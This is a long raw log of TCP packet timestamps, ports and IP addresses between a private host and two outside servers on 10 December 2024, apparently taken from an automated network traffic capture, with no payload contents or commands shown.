                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.645385981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.645425081 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646271944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646475077 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646517038 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646857977 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646943092 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.646981001 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.647757053 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.647871017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.647912979 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.648684978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.648773909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.648814917 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.649513006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.649696112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.649733067 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.650412083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.650629044 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.650675058 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.651330948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.651350975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.651390076 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.652192116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.652403116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.652442932 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.653235912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.653316975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.653359890 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.654007912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.654103041 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.654149055 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.654861927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.654963017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.655004025 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.655797005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.655864954 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.655901909 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.656646967 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.699393988 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.801883936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.801945925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.801990986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.802248955 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.802391052 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.802434921 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.803214073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.803318977 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.803360939 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.804481030 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805500984 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805541992 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805623055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805783033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805824995 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.805831909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.806615114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.806658983 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.806785107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.807522058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.807559013 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.807641029 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.808471918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.808482885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.808521032 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.809286118 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.809334040 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.809401035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.810256004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.810298920 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.810372114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.811113119 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.811155081 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.811197042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.812012911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.812057018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.812130928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.812939882 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.812980890 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.813060045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.813807964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.813848972 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.813863993 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.814686060 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.814729929 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.815015078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.815612078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.815655947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.815723896 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.816488981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.816528082 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.816561937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.817358971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.817400932 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.817487955 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.818344116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.818383932 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.818470955 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.819286108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.819320917 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.819329977 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.820082903 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.820125103 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.820207119 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.820905924 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.820950031 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.821012974 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.821867943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.821907997 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.822040081 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.822837114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.822890043 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.822961092 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.823704958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.823746920 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.823919058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.824601889 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.824655056 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.824675083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.825520039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.825563908 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.825612068 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.826404095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.826446056 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.826515913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.827336073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.827375889 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.827430964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.828078985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.828125000 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.828208923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829062939 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829086065 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829107046 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829871893 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829917908 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.829968929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.830862045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.830909967 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.830950022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.831749916 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.831795931 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.831816912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.832601070 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.832644939 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.832818031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.833441019 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.833483934 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.833576918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.834368944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.834413052 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.834439039 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.835302114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.835340977 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.835376024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.836117983 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.836159945 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.836190939 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.837033033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.837076902 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.837085962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.837927103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.837970018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.838007927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.838979006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.839020014 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.839119911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.839875937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.839919090 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.840099096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.840715885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.840764046 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.840825081 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.841456890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.841504097 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.841569901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.842369080 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.842420101 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.842444897 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.843245983 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.843291044 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.843370914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.844157934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.844208002 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.844238997 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.845037937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.845082998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.845168114 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.846016884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.846065998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.846081018 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847071886 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847117901 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847150087 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847704887 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847755909 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.847759008 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.848601103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.848647118 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.848680973 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.902539968 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994082928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994132996 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994184017 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994369030 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994518995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.994556904 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.995305061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.995382071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.995419025 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.996201992 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.997561932 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.997615099 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.997616053 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.997976065 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.998022079 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.998054981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.998773098 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.998822927 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.998904943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.999686003 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.999728918 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.999772072 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.000546932 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.000586033 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.000648022 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.001436949 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.001482010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.001557112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.002322912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.002367020 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.002440929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.003232956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.003273964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.003277063 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.004199982 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.004246950 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.004287958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005067110 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005112886 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005142927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005898952 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005939960 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.005974054 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.006788969 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.006831884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.006865025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.007796049 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.007829905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.007843971 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.008584976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.008635044 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.008677006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.009486914 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.009530067 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.009572029 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010411024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010452986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010519981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010531902 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010601997 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.010651112 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.011280060 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.011322975 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.011351109 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.012253046 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.012299061 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.012310982 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.013053894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.013092041 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.013191938 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.013999939 CET8049747159.100.18.192192.168.2.4
